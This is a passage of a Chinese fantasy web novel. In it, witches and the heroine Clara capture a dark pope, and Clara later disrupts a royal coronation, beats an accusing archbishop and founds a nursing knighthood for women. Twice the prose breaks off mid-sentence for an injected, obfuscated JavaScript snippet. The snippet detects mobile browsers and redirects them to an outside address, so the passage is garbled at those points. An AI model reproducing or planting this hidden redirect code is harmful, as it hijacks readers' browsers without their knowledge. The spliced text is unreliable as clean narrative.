教皇口中念念有词,咏颂着祷文。随着手中的力气逐渐加重,他脸上逐渐带上如最初天使雕像般的神情。 但下一瞬,克劳拉睁开了双眼,微微后仰并迅速偏头拔剑,教皇的剑尖只来得及在她的额头划出一道浅浅的红痕,血珠流出几丝就已经愈合。 而克劳拉的剑,在教皇还未来得及作出反应时,已经刺穿了他的身体。 “阁下!”“小姐!”女巫们惊喜地呼出声,幸好克劳拉挣脱出了幻境,没有让教皇的阴谋得逞。 “冕下,您布置的幻境也太过拙劣了。”克劳拉只觉得力量全部回到她的身躯里,她从未这么感激自己强壮的体魄过。 见她苏醒,教皇只是微微有些错愕,没想到她居然能挣脱幻境,但他很快又挂上笑容, “我早已抛弃了□□的束缚,自由的灵魂能让我在容器之间自由往来。” “我才是……真正被神眷顾的那个……” 阿方索的身躯确实因为血液的流失变得虚弱,但克劳拉脸色却并未变得轻松,她清楚地看到一团透明的雾气挣扎着从阿方索背部涌出。 明知道不能让他逃走,克劳拉却无能为力,只能仍由透明的雾气越聚越笼。 剑上忽然传来一阵很轻的力道,原本已经瘫软的阿方索,左手搭在了剑上,他缓缓抬起头,嘴角溢出了鲜血,却在笑着。 “克劳拉阁下,是我们赢了。” 他的背部浮现出一道复杂而又精致的紫色法阵。 伴随着神像轰然坠地的声音,正前方的彩窗被人打碎,玻璃落到四分五裂的神像上,有种凄美之感。 有人逆着光出现在了窗台,声音在教堂里回响,“看看你的神明,是否能够一次又一次地拯救你?” 在教堂之上的天空出现第二道法阵,空中四个角分别漂浮着四位大巫,她们锁住了圣城所有的黑雾。 布莱尔大巫火红的长发在风中飞扬,“搞什么,他们远比我们想象中的弱小多了,当年我们到底为什么要退回女巫岭?” “输的是人心啊,小布莱尔。东方有句古话叫‘清者自清’,以清白之身殉道,达到精神上的胜利之法。这千年来我们女巫、所有女性,不过是在坚持这种可笑的行为罢了。” 而女巫尚有足够的力量,这些普通女人像是被彻底剪去双翼的几维鸟。 阿德涅悲怜的目光投注到这座圣城,地面上的人如蚂蚁般被驱赶着聚在一起,有些仰头见到法阵跪地祈祷,有的对着士兵破口大骂。 “我还是不喜欢人类,等到一切结束,我将要回到女巫岭。”阿德涅这么说的时候,心中迟疑了,她只是想到了和姐妹会们的相处日常。 有部分人类是不同的,但还不至于让她因此留下。 阿卡娜是年龄最大的女巫,也是见得最多的大巫,“前路的阴影在逐渐消散,从此以往,将再无无法熄灭的火焰。” 法阵旋转着,逐渐缩小往下,最终汇聚在达索琳的手背之上。 透明雾气试图凝聚成人形,但只凝成了上半身,他的下半身被紫光吞噬,似乎有一种莫名的吸力在将他往法阵中拉扯。 “怎么会这样!”集四位大巫之力的禁锢法阵,这个世间没有任何巫师能够逃脱,更别提黑巫师。 见大势已去,教皇用尽最后的魔力,使用言灵:“叛神神者终将死无葬身之地,灵魂永在地狱之火中煎熬!我将诅咒你们!直至灵魂消散之日!” 达索琳出现在了阿方索身后,彻底将教皇按进了法阵之中,而他的言灵也在法阵作用下消散。 紫色的法阵瞬间迸发出耀眼的白光,在这片光芒之中,所有黑巫师都无处遁形,和他们的教皇一起化作黑烟,最终收于达索琳手中的瓶子里。 光芒消散,瓶塞也被堵上。 而克劳拉在犹豫,是先拔剑,还是先问怎么回事。 “别别别拔剑,阁下您一拔剑,我可能就真的要陪教皇冕下一起去地狱了。” 阿方索疼得直嗦气,以往总是笑着的面容皱成一团。 所幸这个状况没有持续太久,达索琳大抵认为他还有其他用处,出手帮他修复了伤口,顺手清理了克劳拉的剑。 骑士们也终于从幻境中清醒,相互搀扶着站起,一脸恍惚地确认周围没有巨大的雕像,克劳拉也安然无恙地站在不远处。 克劳拉安抚完她怀中安娜,才勉强把注意力分给这些骑士们——看在女巫说这些家伙陷入幻境也在拼命保护她的份上。 “阁下,我以为您真的被雕像踩死了,您没事真的太好了。”年轻的骑士们带着劫后余生的表情,再张口时又是习惯性的溢美之词。 算了,虽然脑袋不灵光,胜在足够忠诚,等回去后给他们涨薪。克劳拉冷漠地想。 “搜索教堂,把艾林找出来。将剩下的神职人员聚在一起,等候阿方索阁下的安排。” 克劳拉将任务一一派分下去,没有给骑士们喘息休息的时间。 教堂控制完毕后,她们还需和玛格丽特汇合。 阿方索的伤已经不再流血,虽然还需要静养,但他已经强撑着整理好着装,准备一举将拿下教皇的位置。 注意到克劳拉的视线,他微微一笑,“阁下,希望您能原谅我越过您和女巫们做了些小小的交易。” “女巫不是我的所有物,我从不干涉她们,你不需要道歉。”克劳拉将散乱的头发随意扎起,“你下一步打算怎么做?” “既然他们都知道我是‘教皇’,何不趁机成为名正言顺的教皇?” 阿方索笑意渐深,和以往神职人员的教科书式笑容不同,他的笑容里带上了隐秘的野心。 克劳拉的手指在腰间的佩剑上轻敲两下,也扬起公式化的笑容,“希望我们能一直合作愉快。” “当然,克劳拉阁下,我会一直是您忠诚的伙伴。” 两人明明都在笑着,却给人一种脊背发凉的感觉,安娜哆嗦一下,所幸这种感觉稍纵即逝。 达索琳与女巫们去清理剩下的黑巫师,老实的就夺走他们的能力,不老实的就一起收进瓶子里。 克劳拉则和骑士带着五花大绑的艾林去和玛格丽特汇合。 “也不用这么记仇吧。”艾林狼狈至极,半长的头发凌乱地贴在身上,因为他迟迟不清醒,还被泼了一桶水。 他完全有理由怀疑克劳拉是为了报复他。 “阁下没有多的心思理会你!老实点!” 雪鸮骑士踢了他两脚,想引起阁下注意的异性不要太多,他们会誓死捍卫阁下的安全,不让有心人靠近。 玛格丽特带人将信众们都驱赶到大教堂面前的广场,正在给疫病症状灌药。 不远处捆着一群俘虏,不仅有骑士还有一群穿着教袍的神职人员。修女们倒是都很安静,配合士兵给患者喂药。 玛格丽特看到艾林一愣,“这也是俘虏?” “不是,是——古斯塔的侍卫官。”克劳拉的迟疑单纯因为忘记了艾林的职位。 艾林试图朝这位穿着严实看不出性别的将军行礼,但被人扔到了教会的俘虏堆里一起。玛格丽特想得很简单,不是克劳拉的人,就是敌人。 克劳拉的军队在圣城驻扎了半个月,还度过了一个东星节,食物与日常开销全都由教会提供。 几位大巫还从教堂里寻找到了不少原本就属于女巫的宝物,不管保守派的神父怎么据理力争,宝物还是物归原主,被大巫带回了女巫岭。 教会不仅要含泪养这群强盗、要替信徒们付治疗费、更要为克劳拉的“侵略”暴行正名。 阿方索对外还是那套说辞,恶魔蛊惑教皇,而克劳拉和女巫是为神肃清恶魔。 信众们因为军队们送来的药剂和姐妹会细心的医治,正是对克劳拉一行人感恩戴德的时候,天天在神明面前为她们祈福。 教会付出众多,成果却全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721080|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让克劳拉摘取,而他们还得毫无怨言。 巡游结束回圣城的贾斯,因为为克劳拉提供情报,受到了处罚——专门处罚给克劳拉看的。 当然贾斯本人并不在意,教会变成这副模样,只要女巫存世一天,就不可能恢复旧日的荣光,她还不如趁早在克劳拉身边捞个一职半职的。 教皇的加冕礼还在一个月后,陆陆续续有辖区主教赶回圣城,小部分不愿意支持阿方索,或是想搞些其他阴谋的,都被收拾了。 连带着他们私自养的黑巫师也被女巫清理。 原本阿方索还想留克劳拉见证他的加冕仪式,遗憾的是,索滋帝国传来了古斯塔一世离世的噩耗。 古斯塔也将在月余后举行加冕仪式,克劳拉也得作为王后一同加冕。 算算日子,古斯塔一世居然在教皇死后不久也离世了。是的,教皇死了,就在他被达索琳捕获不久。 随着他死去的大大小小有数十位权贵,分别来自不同的国家。尽管外国疫病肆意,每天死亡的人很多,但克劳拉并不认为这是一个单纯的巧合。 因为部分死去的贵族,她似乎在幻境中安德鲁的加冕仪式上看到过,他们作为外国使臣出席。 教皇曾说过他抛弃了□□,获得了灵魂上的自由,或许他可以在这些被他选定的容器身体里穿梭。 而阿方索他们大抵是更完美的容器,不会轻易被毁坏。 克劳拉不由得联想到一个更毛骨悚然的事实——剧情里成为国王后的安德鲁,真的是安德鲁本人吗? 不是克劳拉瞧不起安德鲁,但这位王子殿下在政见上远不如他的父亲和舅舅,各方面都有些过分谨慎,堪称胆小的程度了。 也或许是因为这一点,他才会过渡依赖读心的能力。 但剧情里的安德鲁,雄韬伟略,如同古斯塔一世一般酷爱四处征战,在剧情里透露着一种帝王的冰冷感。 克劳拉起初以为成为国王后,有所改变也是正常,但如今她不确定起来。 世界意识或许真的是一位邪魔——这比祂是一位神明更加令人忌惮,不知这位邪魔见到如今的一切,是否会作出其他疯狂之举。 或许她要提早与大巫商量应对手段了。 …… 安德鲁的加冕仪式定在三月初,这会王都的冰雪才刚刚消融,还需要穿着厚重的冬装。 王后礼服相当沉重,光是各式珠宝手势就让克劳拉挑花眼,索性直接扔给女官选择。 倒是艾洛薇替她选了一条珍珠项链,由近百颗天然珍珠缀成,悬挂了足足7颗水滴形珍珠——据说是玛丽的遗物,原本赠送给艾洛薇的生日礼物。 “没关系吗?玛丽王后送给你的。”克劳拉对加冕仪式并不是很期待,毕竟在幻境里已经经历过一次了。 艾洛薇打趣她,“借给你戴的,要还给我,这以后可是要留给我女儿的。” 克劳拉透过镜子望着站在她身后的艾洛薇,艾洛薇也没有多期待这场加冕仪式,两人通过镜子对视,彼此都知道对方期待的到底是什么。 “下一次,你就不用带这些累赘了。”艾洛薇亲手替她戴上项链。 “嗯。” 这场仪式要持续一整天,上午十点就要开始游街,整个下午都是加冕仪式与阅兵。 王后礼服布料主要为银织锦,裙装下摆用金线与宝石绘制成各式鲜花,主要为铃兰与鸢尾。外罩着厚重的鎏金水貂袍,从脖颈到腰间坠着数百颗宝石与碎钻。 女官们在为克劳拉束腰时,本想用力勒紧,但克劳拉冷淡地制止。 “足够了。”仅仅一句话,就让她们哆嗦着照办。 这位王后与以往所有的王后都不同,她太高了,几乎已经与年轻的国王持平。女官只好挑选一双低跟的尖头鞋,以防王后的身高过于出挑。 尽管因为灾难过后,国库不富足,但这场仪式还是足够隆重。 除了南方的战事还未结束,帝国境内大小贵族都已前往王都,周边的国家也派来使臣观礼。 整个王都人满为患,疫病的阴影已经无法在影响臣民,他们都想一睹这位堪称传奇的王后。 温斯顿公爵与伊登早在上个月已经随古斯塔一世灵柩回都。 几天前伊登还私下跑来找克劳拉,“若拉,你真要和安德鲁结婚啊?我以为你会直接打下来——反正兵马也带过来了——” 玛格丽特与伊登的军队上万人驻扎在王城附近,为下午的阅兵做准备。姐妹会成员也陆陆续续聚集,除了弗洛伦斯带领的那一批。 连女巫也难得脱下黑袍,隐藏进人群里,期待着这场加冕仪式。 “帝国已经失去那么多生命了,能和平登上那个位置,非要流血做什么?” 克劳拉当然知道她现在拥有的武力,就算直接打下王都,也没有敌手,但是战后帝国又需要缓多久才能恢复生机。 “你只需要帮我获得温斯顿公爵的支持——虽然他不支持也无妨。” “不用担心,用不了多久。” 都等了这么久了,也不差这一段时间。 即使是加冕仪式,安德鲁也没有摘下面具,只是把覆盖全脸的面具,改为了遮住半张脸的鎏金面具。 “臣民不会到死,都不会知道古斯塔二世的真正长相吧。” 克劳拉这句话在旁人听起来绝对是大不敬,但安德鲁好脾气地笑了笑,“不知道也好,不然臣民噩梦里的魔鬼就有了正脸。” 这可不是一位君王会说出来的话,克劳拉与他对视,安德鲁似乎像放下了什么重担,又像是他其实什么都知晓。 “该准备游行了,陛下。”荣升为国王骑士的前任狮鹫骑士长,此次也会全程护卫两位。 “走吧,克劳拉,去完成一些必要的仪式。”安德鲁伸手作出邀请的姿态,“或许我有幸与你同行一段路。” 克劳拉先一步登上了黄金马车,这辆承载了数位国王王后的传世马车。 一只渡鸦已经等候在内。 见到渡鸦,安德鲁有些怔愣,仅仅一瞬间,又收敛情绪,端正坐好。 马车开始缓缓行驶,在马蹄声的遮掩下,渡鸦跳到克劳拉腿上,开口道:“教会准备了七十二位律师和多名来自各国的法官,准备在加冕仪式上对你发难。” 两位身份尊贵的王室成员,边与路边的臣民挥手致意,边神思各异。 “是阿方索的意思?”克劳拉问。 “应当不是,阿方索不久前刚得到消息,使臣正在赶来的路上——当然他有心旁观事态发展,必要时使臣会放缓脚步。” 那就是王都这群主教暂时还没有得知克劳拉在圣城的壮举。 她毫不意外阿方索的做法,就当是彼此对合作伙伴的考验,希望他后续也能经得起她的考验。 加冕仪式有细微的变化,阿方索不再作为仪式主导人,而是另一位大主教。 “看来你的加冕仪式不能完美结束了。”这句话是对安德鲁说的,克劳拉大抵知道教会又要发难什么。 “你已经猜到会有这么一出?”安德鲁见克劳拉太过于平静,心下有些好奇。 克劳拉扯开袖子,让渡鸦能够躲进来,“我只是没想到他们会这么心急,也好,正好有些事情一起解决了。” 她拇指轻轻摩挲尾戒,嘴角带着温柔的笑意,“既然来了,那就好好做我剧本里的丑角吧。” 108. 第108章 马车停在广场,广场上已经搭建了一座巨大的露台,惯例国王加冕仪式结束后,需要登上露台面向民众发表声明。 但目前露台附近处于戒严状态,仪式尾声才会慢慢允许民众靠近。 至少在黄金马车停下时,民众只能遥遥望见王室成员的身影。 已经在幻境里经历过一次安德鲁的加冕仪式,克劳拉有些兴致缺缺。 安德鲁因为知道教会又要作妖,也有些神游在外。 索性教会人员并不在乎两位主角的心不在焉,他们也神色躁动,或许认为失去了古斯塔一世后,这座教堂里其他在座的贵族都不足为惧。 这座教堂里足足坐了数千人,还不包括守卫的士兵与穿梭的侍从。 而教堂之外更有数万名国民在等待他们的新王与王后。 没有比这再完美的舞台了,教会这么想,克劳拉也这么想。 王室成员观礼的区域与教会成员相对,安德鲁左边坐着三十多位主教与神父,克劳拉在其中发现了一位眼熟的身影——西亚尔玛的前任神父库里神父。 右边入座的正式王室成员只有两位,剩下是一些与古斯塔家族沾亲带故的亲戚,数量并不多,但各个神色傲慢,连克劳拉都看不上的模样。 “别介意,我的那位好兄长虽然厌恶他们,却留了他们性命,让他们误以为自己是王室亲戚,心高气傲。”米凯压低声音道, “若是冒犯你了,你随意处置就是了。” 克劳拉反问:“若安德鲁出意外,他们也是顺位继承人之一?” 米凯意味深长地看一眼正在涂取圣油的侄子,回答:“只要你想,他们可以不是,不是吗?” 两人的交谈很快结束,米凯足够聪明也足够敏锐,克劳拉喜欢和这样的人打交道,自始至终她的眼神都没有过多地分给安德鲁这些亲戚。 今日神父颂词与祝祷语速都很快,他们心急到连贵族都隐隐察觉不对劲。 米凯刻薄地抱怨道:“这群神神叨叨的家伙,今天会不会有些太浮躁了,怎么,是他们的教皇死了吗?” 好歹是他侄子的加冕仪式,教会这个态度,简直不把王室放在眼中,该不会真是古斯塔一世死亡后,他们装都不愿意装了吗? 克劳拉安抚他,“如果不快点,就不能在完美的时辰向在场诸位表演他们精心策划的戏剧了,耐心等待吧,好戏就要开场了。” 众臣宣誓效忠环节很快结束。 随着主教庄严地祝福:“神明永佑我王。”交响乐与祝咏团开始吟唱。 接下来就是王后加冕环节,安德鲁从加冕王座转移到另一道宝座之上,按照正常流程,克劳拉也将于加冕之后来到他身旁的宝座。 但今天这道王后宝座恐怕将会一直空置了。 克劳拉正对着的二楼开始躁动不安,目光频频扫向楼下的她,几位主教围过来,面色祥和与克劳拉交谈。 而当大主教带来象征王后权力的戒指时,终于有人发难了。 “我不同意魔女成为王后——” 又是魔女,除了魔女头衔,这些人难道就没有其他罪名可以指控她了吗?克劳拉毫不掩饰地当着主教的面翻了个白眼。 教堂有一瞬间的寂静,奏乐停止。观礼的诸位虽然疑惑,但暂时没有在这场典礼上失礼喧哗。 克劳拉直接自己拿过戒指,没等主教祝祷就戴上。 二楼方才指控她的律师怔愣了片刻,才结巴着继续指控她的罪名:“这场疫病,正是这位魔女带来的灾难,而帝国却将魔女奉上王后之位!是亵神之举!” 教堂隐隐有细微的议论声,教会似乎对这位德文希家的小姐诸多不满,已经不是第一次指控她了。 但是在国王最重要的加冕仪式上如此作为,还是让众贵族隐隐不悦,认为这是教会对王权的蔑视。 被指控的克劳拉不甚在意,还催促主教,“您该为我涂圣油了。” 几位主教语塞,也没想到克劳拉会是如此反应。温斯顿公爵上前一步,语气严厉要求几位主教继续仪式。 大主教索性放弃伪装,用质询地语气道:“克劳拉·德文希小姐,您难道没有任何需要解释的吗?” 温斯顿再次要求对方,“大主教阁下!请继续进行仪式!” “众神在上!古斯塔家族即将拥有第二位魔女王后!古斯塔二世的诅咒真的与克劳拉·德文希毫无关系吗?”这是指控克劳拉的律师。 三种声音混杂在一起,在教堂的穹顶回响,让克劳拉觉得一阵莫名的喜感。 雪鸮骑士已经登上二楼,朝着闹事者的位置而去,克劳拉抬手朝着他们打了个手势,骑士在附近站定再无动作。 “您想听到什么解释?大主教阁下。”克劳拉收回手,她的声音很洪亮,几乎能让教堂里所有人都听到。 大主教深吸一口气,目光逐渐坚定,他道:“您要怎么解释,在几年前,安德鲁陛下曾代您向圣城大学医学院院长询问某种疫病,当时陛下所描述的症状与近日爆发的症状几乎一模一样。” 他目光转向安德鲁,“陛下,您能证明确有此事。” 安德鲁却微笑着说:“大主教阁下,我不记得有这么一回事。” 大主教先是一愣,二楼的律政团炸开了锅,或指责安德鲁不顾人民安慰,放纵魔女让疫病肆虐;或是认为安德鲁已经被魔女操控,彻底沦为魔女的傀儡。 温斯顿执剑对几位主教发出了警告,若是他们执意要破坏加冕仪式,帝国将对圣城发起武力震慑。 加冕仪式已经乱成一团,观礼的嘉宾都搞不清现在的状况。 “不仅这一项罪名,还有教唆女性不婚不育、教唆女性友人囚禁父母、谋杀贵族、宗教异端罪……以上罪行你是否承认。” 大主教照本宣科般,将克劳拉所作所为通通打成罪行,和教皇当时强加给她的没有太多区别。 “我承认。” “您当然有权否认……嗯?”大主教没想到克劳拉直接承认了,他剩下的说辞卡在喉中不上不下,“您……承认了?” 克劳拉:“如果在你们的认知里,这些行为都属于犯罪的话,那我罪不可赦,因为我确实做出了你所说的这些行为。” “她承认了!她就是魔女!是罪犯!是叛神者!” 律师团也没有想到,他们来了这么多位律师,就是为了将这些罪名安死在克劳拉头上,结果她轻而易举的承认了,反而显得他们有些像上蹿下跳的跳蚤。 克劳拉的话终于让教堂里沸腾,但几位大臣在短暂的相处中认识到了克劳拉的邪门,达成共识还是决定先袖手旁观。 除了瓦兰许侯爵,他远比几位主教表现得还要高兴,恨不得开香槟庆祝。在他身边,他的夫人冷漠地注视着他激动的行为。 “所以呢?”克劳拉坐在椅子上甚至没有挪动一下,大主教这时才感觉他们像是在被牵着鼻子走。 “既然你已经认罪……”大主教拿出十字架。 但克劳拉打断他,“你们打算如何处罚我?” “当然是……” 大主教再次被打断,温斯顿微微拦住他,“克劳拉·德文希隶属王室,理应由王室审判并处刑。” “……死刑。” 克劳拉终于站起身,她向前两步,隔着温斯顿的手臂,眯着眼俯视着大主教,“没有听清,阁下您能再说一次吗?” 怎么会有这种事,克劳拉·德文希,一个女人,居然比他高了大半个头。大主教一个哆嗦,即使是周围隔了几步远的主教,也清楚地感受到了克劳拉的压迫感。 “怎么不说话了,大主教阁下。” “……” 克劳拉慢条斯理地戴好纯白色的手套,方才为了戴上权力戒指,她摘下了其中一只。 越过温斯顿忽然揪住大主教的衣领,将他拖到自己眼前,甚至微微将他拽离了地面。 反手给了他两巴掌,“不会说话的话,我教教您,对王室成员说话要使用敬词。这里是加冕仪式,本来您今天唯一的职责只有见证新王与王后的荣光,您非要整这些闹心的指控。” 这一变故让众贵族觉得荒谬又可笑——怎么会有王后直接动手殴打主教!连温斯顿都不知道该不该阻拦。 唯一有心情笑出声的只有艾洛薇,她没有勋章,坐的位置其实有些远,但良好的视力能让她看到已经鼻青眼肿的大主教。 察觉到其他人的视线,艾洛薇也懒得收敛,因为另一个人也突兀地鼓着掌,正是德文希伯爵本人,还气势汹汹地瞪着其他贵族,“看什么看?为老不尊的欺负我妹妹,还不准她反击呢?” 德文希家没有一个正常人,这些贵族早应该心里有数才是。 “我是魔女的话,在座的各位包括那七十多位律师,一个都别想活着走出这里。上一个指控我的大主教如今什么下场,需要我帮您回想起来吗?” 几位主教终于想起该阻拦,被克劳拉一人一脚掀翻在地,这群神父高高在上太久,实在疏于锻炼。连米凯都忍不住鼓掌了。 圣殿骑士的动作也被反应迅速的雪鸮骑士们阻拦,没有给他们一丝一毫冒犯克劳拉的机会。 “荒谬!”有几位已经不在过问世事的老贵族,见到新王后如此乖张的行为简直快晕过去,而国王本人甚至还有闲心看戏。 克劳拉抽够了,记起她今天要做的正事。就这么揪着这位大主教一路朝着教堂大门而去。 惊愕的贵族们纷纷起身,迟疑地目送她离开,转而又望向这场加冕仪式的主角安德鲁。 “跟上去。”安德鲁拖着厚重的长袍快步跟上克劳拉,一楼的贵族们只能紧随他之后,而二楼的贵族只能尝试在窗口往外观望。 露台周围已经陆陆续续有民众围聚,按照流程,王后加冕完很快就会是国王声明与阅兵仪式。 所以当教会大门敞开时,迎接克劳拉的是震耳的臣民欢呼声,看清情况后,欢呼声渐低,疑惑爬上每个人的脸庞。 一只渡鸦落到克劳拉手臂上,为她带来了扩音器。克劳拉满意极了,拖着大主教登上露台。 她将扩音器怼到大主教嘴边,“来吧,大主教阁下,将方才您在教堂内对我的指控大声再说一次!说给我的臣民们听!” 大主教惊恐地摇头,仿佛在看什么怪物一般。 “说!”克劳拉命令道! 大主教只好哆哆嗦嗦重复着方才他说过的罪名,因为他两颊肿胀,有些话含糊不清,但仍然能让民众大致听出一些。 “放你的狗屁!”人群里的姐妹会成员忍不了了,她们原本被邀请一同进入观礼,但蕾莱不想踏入教堂,最终姐妹会成员都等在了广场,包括众多医院骑士。 “疫病明明就是奥菲帝国传来的!克劳拉阁下不过是得到了神明的启示!早在几年前就开始为国为民做准备!” “你们教会反而没有得到哪怕一丝一毫的神启!肯定是嫉妒阁下是神眷者!忍受不了神眷者是个女人,才乱指控魔女!” 若不是克劳拉也在露台上,她们定将手上能砸的东西都砸上去。 “你们扪心自问,在场各位哪一位不是因为喝过女巫制作的药剂而痊愈!我们照顾你们,也是因为克劳拉阁下付出报酬!还一直在提供你们买得起的药剂!” “如果这样就是魔女!那我们都是魔女!” “我们都是魔女!” 姐妹会们高呼着魔女,高呼着克劳拉的名字。 她们的怒火感染了民众,对比只发放了一些粮食的教会,姐妹会才是真真切切救过他们性命的人。 民众并不愚蠢,尤其之前阿方索大主教都承认教会之中有人被恶魔蛊惑,说不定这又是一位被恶魔蛊惑的主教,想要带走他们唯一的救世主。 呼喊声从“魔女”变成了“烧死恶魔”,只不过仇视的目光指向的是大主教,甚至隐隐射向其他神职人员。 “这是你们教会最擅长的吧,操控舆论。”克劳拉用大主教能够听到的音量说道,“怎么样,失去民心的感觉。” 大主教说不出话来,他理解了教皇阁下对克劳拉从轻视到憎恨,最后到一定要杀死她的执念——克劳拉·德文希将会颠覆教会。 克劳拉扔开大主教,对着民众,她说道:“我确实教唆女性不孕不育,我让她们学习、让她们工作、给她们发钱!一旦结婚这些钱将属于她的丈夫、她的儿子,而她本人也再也不能外出工作,凭什么?告诉我凭什么她自己辛苦赚来的钱要属于她的父亲!她的丈夫!是因为他们没有能力赚钱吗!” “我还教唆我的朋友囚禁她的父母!因为女人不能继承这该死的爵位,她必须得找个男人来继承她家里的一切!凭什么!这是她的家她的钱财她的一切!凭什么让一个陌生男人来继承!这该死的男人是赚不到钱吗!” 虽然克劳拉没有说出朋友的名字,但在场的贵族们下意识望向艾洛薇,但是今天斐迪南公爵夫人也在场,他们又打消了这一念头,大抵是其他贵女。 艾洛薇目光一直停留在克劳拉身上,没有被他人的视线影响。今日这一对母女全程没有任何交流,比陌生人还要陌生人。 这难道不是理应如此吗,部分臣民心中这么想着,女人懂什么,钱拿在手里只会乱花,不如让他们管。至于爵位,也没听说过什么女贵族,女人懂什么政治,懂什么管理。 人的观念很难彻底扭转,但是在强权之下却很容易。克劳拉深谙这一点,被定义为“暴君”也好,她会一点点用暴力把女人不能,不应该这些全部修正。 暴君也总比这辈子都要披着一层女性温顺的皮好,她要向世人展示女人绝非没有獠牙的绵羊。 克劳拉一一剖析自己的罪名,她不允许妓女存在、将被垄断的知识传授给子民、为女巫们提供庇护之所。 如果都是教会定下的罪行,她愿意一己之力承担所有的罪恶,死后下到地狱,永世无法超生也无妨。 “我也有罪!我杀死了企图□□我的男人,从家里跑了出来,尽管那个男人是家里安排的未婚夫。” “我也有罪!我不赡养父母,不愿意将赚到的钱币分给他们!” “我也有罪!我掐死了自己的孩子!”“我也有罪!” 起初只是几位姐妹会成员举起手,后来越来越多的是女人,她们不分年龄地承认自己的“罪行”。 不愿意做家务、想要出去赚钱、想要读书识字、想要离婚……克劳拉觉得可笑又可悲,女人生来就是原罪,这简直是教会撒下的弥天大谎。 而她们却真的要因为这一谎言,背负一生的枷锁,直至生命尽头。 克劳拉回望一眼站在教堂门口安德鲁以及他身后的诸多贵族,隔的距离有些远,她看不太清所有人的表情。 曾经她想能被所有人看到,仰慕、憧憬、嫉妒、爱恋、憎恨都凝聚在她身上,如今在这一刻她确实做到了。 她再次举起扩音器,“维达,是时候实现你的承诺了。” 医院骑士团团长维达没想到在这个时候克劳拉会提到他,他还未从方才的震撼中回过神,被姐妹会成员推着来到露台前。 “从今天起,我将授予姐妹会所有成员护士的爵位,她们将与骑士享同等待遇与荣光,遵守护士誓约。而你维达·范,作为见证人,必须代表教会承认其存在的真实性与合法性。” 护士将成为与骑士同一阶级范畴,进入贵族之列,受到万人敬仰,连医者都未曾有这个待遇。 “而在这之后,所有就读于护士学院,取得毕业证,并通过护士考核的,都可获得这一授勋。” 反正克劳拉在后续打算逐渐消减贵族权利,这些爵位只会成为勋章与标志,不会获得干预国家的权力。 但在此时,足够另所有平民疯狂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729544|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这是绝佳的实现阶级跨越的途径,至于什么学习什么考核他们都不在乎,眼前只有刚刚出炉的数百位爵士。 “当然!既然骑士只允许男性成为,护士同样只会授予女性。”克劳拉微笑着补充,掐灭了一部分人心中的期许。 维达找不出理由拒绝,说是威胁也好,默许也好,他只是觉得姐妹会的付出理应得到回报,与性别无关。 他郑重地举手示意,“以我第九代医院骑士团团长的名义起誓,我愿意承认护士爵位存在的真实性与合法性!” “我附议!以我第十三代教皇直属骑士团团长身份承认护士爵位存在的真实性与合法性。”贾斯不知道从哪冒出来,她看起来是阿方索的信使,率领着一小队教皇直属军。 大主教在见到她后,神色变得更加扭曲,而民众更加狂热,两位骑士团长认可同意,足够代表教会的真实意思。 至于方才那位大主教,已经被民众认定为魔鬼爪牙。他们嫉妒的眼神望向姐妹会的成员。 而女孩们则是满脸不可置信,巨大的惊喜降临到她们头上,让她们有瞬间的不真实感。克劳拉忧愁了一瞬,护士的统一纹章还没有设计好,随后再交给蕾莱处理吧。 这下贵族里是真的有人气晕过去了,还有人谗言,“陛下这于礼不合……” 安德鲁装作为难的模样,“连教会都认可了,你若是有意见,不如直接去和克劳拉提出?” 说话的贵族老实地缩回人群里,若是他被王后揪出来打,他敢发誓没有任何一个人会帮助他。 克劳拉又将大主教扶起来,让他站好,“阁下,还有重头戏呢,您可不能就此倒下。” 大主教满脸都是泪水,加上这幅青紫的面容,实在令人不忍直视,但克劳拉笑得很亲和。 转头她对着安德鲁喊到:“陛下,是时候阅兵了,我将为您展示一些新武器,炸开圣城城墙的那一种。” 贵族们:“……”有人能管管她吗。 贾斯原本现在就想带走几位主教,克劳拉挽留她,邀请她旁观阅兵仪式。贾斯对让圣城那群家伙闻之色变的火炮也很好奇,欣然同意。 这一次德林郡领军将会是莫兰特,而西亚尔玛则是玛格丽特。伊登在克劳拉邀请安德鲁前往阅兵前,就已经偷溜走去换军装骑马混进队伍了。 这种大出风头的时候,他当然不能错过。 “我以为你真的会和他们唇枪舌剑几个来回,辩得他们心服口服。”安德鲁在马车里说道。 克劳拉摘了手套,扔给窗外的雪鸮骑士,让他处理了。这才有心思回道:“我可没那个心情去自证,做了就是做了,至于有没有罪,哪轮得到败者来定义。” “接下来你要做些什么。”安德鲁问。 “首先,让艾洛薇成为女公爵吧。”克劳拉答,这可是早就说好的,虽然她还没有成为国王,先开创女性继承人先例,再让部分女性先一步进入权力中心。 难怪艾洛薇会选择克劳拉,安德鲁知道曾经的自己没有那个勇气为了艾洛薇去抗衡世俗,顶住所有压力,为艾洛薇开创女性继承权。 更何况之前的他还有私心,他想要艾洛薇成为他的妻子、他的王后,并因此忽略了艾洛薇的野心与抱负。 但克劳拉不同,她们彼此都知道对方想要什么,也愿意为对方达成目标付出。 安德鲁想他是时候放下一些执念,逃避虽然可耻,但在他的人生中一直是最有用的方法。 阅兵仪式城东另一座广场举行,士兵将从教会广场一路经过小半个王都,直到王宫另一层门。 